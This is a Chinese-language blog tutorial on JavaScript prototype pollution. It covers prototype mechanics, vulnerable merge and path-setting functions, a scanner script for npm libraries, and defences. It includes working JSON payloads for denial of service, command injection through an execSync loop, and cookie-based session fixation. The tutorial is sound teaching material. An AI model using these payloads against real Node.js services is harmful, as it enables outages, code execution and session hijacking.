原型链污染漏洞(一)

0x01 深入了解JavaScript

对象与类

JavaScript一切皆对象,所以先来了解了解对象

创造一个最简单的js对象如:

var obj = {};

创建obj这个对象时,并没有赋予他任何属性或者方法,但是他会具有一些内置属性和方法,像__proto__,constructor,toString等.

为了探究这些内置属性是怎么来的,接下来需要看一下JavaScript中类的一些机制

JavaScript中的类从一个函数开始:

  1. 函数对象:
function MyClass() {
    console.log("lonmar");
}
var inst = new MyClass();
//以上代码创建了一个MyClass函数,同时MyClass也是一个类,可以像别的语言中那样为这个类实例化一个对象inst

观察以上代码执行结果可以发现,在实例化inst的时候,MyClass()也同样执行了.

这可以联想到构造函数,构造函数在的特性就是在new一个对象的时候执行.

所以MyClass()函数MyClass这个类的关系就很明显了,前者是后者的构造函数

通过constructor这个属性可以查看对象的构造函数

下面了解下 __proto__prototype

先抛出结论

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性
  3. 类在运行程序运行时是可以修改的

再看实例:

下面这段代码通过prototype属性,为Person类添加了getInfo()这个属性.

其实例化对象也都具有这个属性

function Person(name,age) {
    this.name = name;
    this.age = age;
    this.greed = function(){
		console.log("hello,I am",this.name);
    }
    console.log("I am Person Class");
}

Person.prototype.getInfo = function(){
    return this.name + "," + this.age;
}

var lonmar=new Person('lonmar',10);//I am Person Class
lonmar.greed();//hello,I am lonmar
lonmar.getInfo();//'lonmar,10'                                                       

下面其实是JavaScript中继承的一种写法,通过修改原型链来继承

Student类继承了Person类,但也可以看出只是继承部分属性,如constructor就没有被继承

然后通过prototype修改的属性也被继承了!

function Student(){
    console.log("I am Student Class")
}

Student.prototype = new Person();//I am Person Class;erson { name: undefined, age: undefined, greed: [Function] }
Student.prototype.age = 10;//10
Student.prototype.name = "lonmar";//lonmar
var stud = new Student();
stud.getInfo();//'lonmar,10'

通过下面的实例又可以看出,Student类的prototype实际上指向一个Person的实例化对象

stud的__proto__也指向一个对象,并且stud.__proto__ =Student.prototype

也可以依次向前查找__proto__属性,可以发现奇妙的关系.(最终是null的)

最后,总结一下:

  1. JavaScript是一个神奇的语言,一切皆对象.
  2. 对象都有一个__proto__属性,指向它的类的``prototype`
  3. 类是通过函数来定义的,定义的这个函数又是这个类的constructor属性值
  4. 每个构造函数constructor 都有一个原型对象prototype
  5. JavaScript使用prototype链实现继承机制
  6. 子类是可以通过prototype链修改其父类属性,以及爷爷类的属性值的

0x02 什么是原型链污染

做一个简单的实验,其实也是对前面的一个总结

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

zoo.bar的结果是2;

因为前面修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

0x03 哪些情况下原型链会被污染

1. 最显然的情况

obj[a][b] = value
obj[a][b][c] = value

如果控制了a,b,c及value就可以进行原型链污染的攻击,

可以控制a=__proto__

2.利用某些API来进行攻击

  • Object recursive merge
merge (target, source)
	foreach property of source
		if property exists and is an object on both the target and the source
			merge(target[property], source[property])
		else
			target[property] = source[property]

这种情况下,__proto__必须被视为key才能成功

对于

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
//1. 
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)//undefined

//2. 
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)//2

1和2两种情况是不一样的.

因为前面代码中 __proto__已经代表o2的原型了 ,没有被看成一个key

后面的代码中经过JSON.parse解析,__proto__就代表了一个key

详情可参考https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04

  • Property definition by path
theFunction(object, path, value)

如果攻击者可以控制path,如path=__proto__.myValue.就可以进行污染

  • Object clone
function clone(obj) {
	return merge({}, obj);
}

3. 找出易受攻击的API

在https://github.com/HoLyVieR/prototype-pollution-nsec18这个项目的paper里面,作者给了一个找易受攻击API的脚本.

node xx.js library-name

var process = require('process');

//check是否收到污染
function check() {
	if ({}.test == "123" || {}.test == 123) {
		delete Object.prototype.test;
		return true;
	}
	return false;
}

function run(fnct, sig, name, totest) {
	// Reinitialize to avoid issue if the previous function changed attributes.
	BAD_JSON = JSON.parse('{"__proto__":{"test":123}}');

	try {
		fnct(totest);
	} catch (e) {}

	if (check()) {
		console.log("Detected : " + name + " (" + sig + ")");
	}
}

var BAD_JSON = {};//NULL OBJ
var args = process.argv.slice(2);//node xx.js param1 param2 parma3获取所有参数 返回数组[param1,param2,param3]

//忽略异常
process.on('uncaughtException', function(err) { });

var pattern = [{
	fnct : function (totest) {
		totest(BAD_JSON);
	},
	sig: "function (BAD_JSON)"
},{
	fnct : function (totest) {
		totest(BAD_JSON, {});
	},
	sig: "function (BAD_JSON, {})"
},{
	fnct : function (totest) {
		totest({}, BAD_JSON);
	},
	sig: "function ({}, BAD_JSON)"
},{
	fnct : function (totest) {
		totest(BAD_JSON, BAD_JSON);
	},
	sig: "function (BAD_JSON, BAD_JSON)"
},{
	fnct : function (totest) {
		totest({}, {}, BAD_JSON);
	},
	sig: "function ({}, {}, BAD_JSON)"
},{
	fnct : function (totest) {
		totest({}, {}, {}, BAD_JSON);
	},
	sig: "function ({}, {}, {}, BAD_JSON)"
},{
	fnct : function (totest) {
		totest({}, "__proto__.test", "123");
	},
	sig: "function ({}, BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest({}, "__proto__[test]", "123");
	},
	sig: "function ({}, BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest("__proto__.test", "123");
	},
	sig: "function (BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest("__proto__[test]", "123");
	},
	sig: "function (BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest({}, "__proto__", "test", "123");
	},
	sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
	fnct : function (totest) {
		totest("__proto__", "test", "123");
	},
	sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]

if (args.length < 1) {
	console.log("First argument must be the library name");
	exit();
}

try {
	var lib = require(args[0]);
} catch (e) {
	console.log("Missing library : " + args[0] );
	exit();
}

var parsedObject = [];

function exploreLib(lib, prefix, depth) {
	if (depth == 0) return;
	if (parsedObject.indexOf(lib) !== -1) return;

	parsedObject.push(lib);

	for (var k in lib) {
		if (k == "abort") continue;
		if (k == "__proto__") continue;
		if (+k == k) continue;

		console.log(k);
	
		if (lib.hasOwnProperty(k)) {
			for (p in pattern) {
				if (pattern.hasOwnProperty(p)) {
					run(pattern[p].fnct, pattern[p].sig, prefix + "." + k, lib[k]);
				}
			}

			exploreLib(lib[k], prefix + "." + k, depth - 1);
		}
	}

	if (typeof lib == "function") {
		for (p in pattern) {
			if (pattern.hasOwnProperty(p)) {
				run(pattern[p].fnct, pattern[p].sig, args[0], lib);
			}
		}
	}
}

exploreLib(lib, args[0], 5);

下面也是paper里面给出的几个library

1. Merge function

  • hoek
    hoek.merge
    hoek.applyToDefaults
    Fixed in version 4.2.1
    Fixed in version 5.0.3

  • lodash
    lodash.defaultsDeep
    lodash.merge
    lodash.mergeWith
    lodash.set
    lodash.setWith
    Fixed in version 4.17.5

  • merge
    merge.recursive
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • defaults-deep
    defaults-deep
    Fixed in version 0.2.4

  • merge-objects
    merge-objects
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • assign-deep
    assign-deep
    Fixed in version 0.4.7

  • merge-deep
    Merge-deep
    Fixed in version 3.0.1

  • mixin-deep
    mixin-deep
    Fixed in version 1.3.1

  • deep-extend
    deep-extend
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • merge-options
    merge-options
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • deap
    deap.extend
    deap.merge
    deap
    Fixed in version 1.0.1

  • merge-recursive

    merge-recursive.recursive

    Not fixed. Package maintainer didn’t respond to the disclosure.

2. Clone

  • deap
    deap.clone
    Fixed in version 1.0.1

3. Property definition by path

  • lodash
    lodash.set
    lodash.setWith
  • pathval
    pathval.setPathValue
    pathval
  • dot-prop
    dot-prop.set
    dot-prop
  • object-path
    object-path.withInheritedProps.ensureExists
    object-path.withInheritedProps.set
    object-path.withInheritedProps.insert
    object-path.withInheritedProps.push
    object-path

0x04 Attacking

1. 拒绝服务

JS中的Object默认带了一些属性,如toString和valueOf,利用原型链污染他们,可能导致整个程序停止运行

toString()将Object转换为字符串格式返回,valueOf()返回数值或者bool值等

{}__proto__.toString="123"

{}__proto__.valueOf="123"

eg: server.js

var _ = require('lodash');
var express = require('express');
var app = express();
var bodyParser = require('body-parser');

app.use(bodyParser.json({ type: 'application/*+json' }))
app.get('/', function (req, res) {
res.send("Use the POST method !");
});

app.post('/', function (req, res) {
_.merge({}, req.body);
res.send(req.body);
});

app.listen(3000, function () {
console.log('Example app listening on port 3000!')
});

payload{"__proto__":{"toString":"123","valueOf":"It works !"}}

2. for循环污染

就像下面的for循环,如果commands里面有,就可以执行恶意代码,污染等

{
    “__proto__”:{“my malicious command”:”echo yay > /tmp/evil”}
}
var execSync = require('child_process').execSync;

function runJobs() {
	var commands = {
	"script-1" : "/bin/bash /opt/my-script-1.sh",
	"script-2" : "/bin/bash /opt/my-script-2.sh"
	};

	for (var scriptname in commands) {
		console.log("Executing " + scriptname);
		execSync(commands[scriptname]);
	}
}

3. 属性注入

注意到,如果污染了某个类的prototype,那么那些没有被显式定义的对象都会受到影响.

NodeJS 的 http模块支持很多header同一个name.

所以如果污染了如cookie等.会造成很有意思的攻击.可能导致所有用户公用一个session

{“__proto__”:{“cookie”:”sess=fixedsessionid; garbage=”}}

0x05 针对Prototype pollution的防御

1. 原型冻结

ECMAScript5标准中添加的一个特性.

使用该特性后,对于对象属性的修改都将失败

eg:

Object.freeze() 冻结对象, 冻结的对象无法再更改.我们无法添加,编辑或删除其中的属性

Object.freeze(Object.prototype);
Object.freeze(Object);
({}).__proto__.test = 123
({}).test // this will be undefined

2. Schema validation of JSON input

NPM上的多个库(例如:avj)都为JSON数据提供了模式验证

可以在json规则里添加additionalProperties=false

3. 使用MAP代替Object

MAP是EcmaScript 6标准中新增的

需要使用key/value模式时,尽量用MAP

1.js创建map对象
var map = new Map();
2.将键值对放入map对象
map.set("key",value)
map.set("key1",value1)
map.set("key2",value2)
3.根据key获取map值
map.get(key)
4.删除map指定对象
delete map[key]
或
map.delete(key)
5.循环遍历map
map.forEach(function(key){
  console.log("key",key)  //输出的是map中的value值
})

4.Object.create(null)

可以用JavaScript创建没有任何原型的对象 : Object.create(null),用Object.creat创建的对象没有__proto__constructor 以这种方式创建对象可以帮助减轻原型污染攻击

var obj = Object.create(null);
obj.__proto__ // undefined
obj.constructor // undefined

参考:

  1. https://github.com/HoLyVieR/prototype-pollution-nsec18
  2. https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
posted @ 2020-11-09 23:52  10nnn4R  阅读(1432)  评论(0编辑  收藏  举报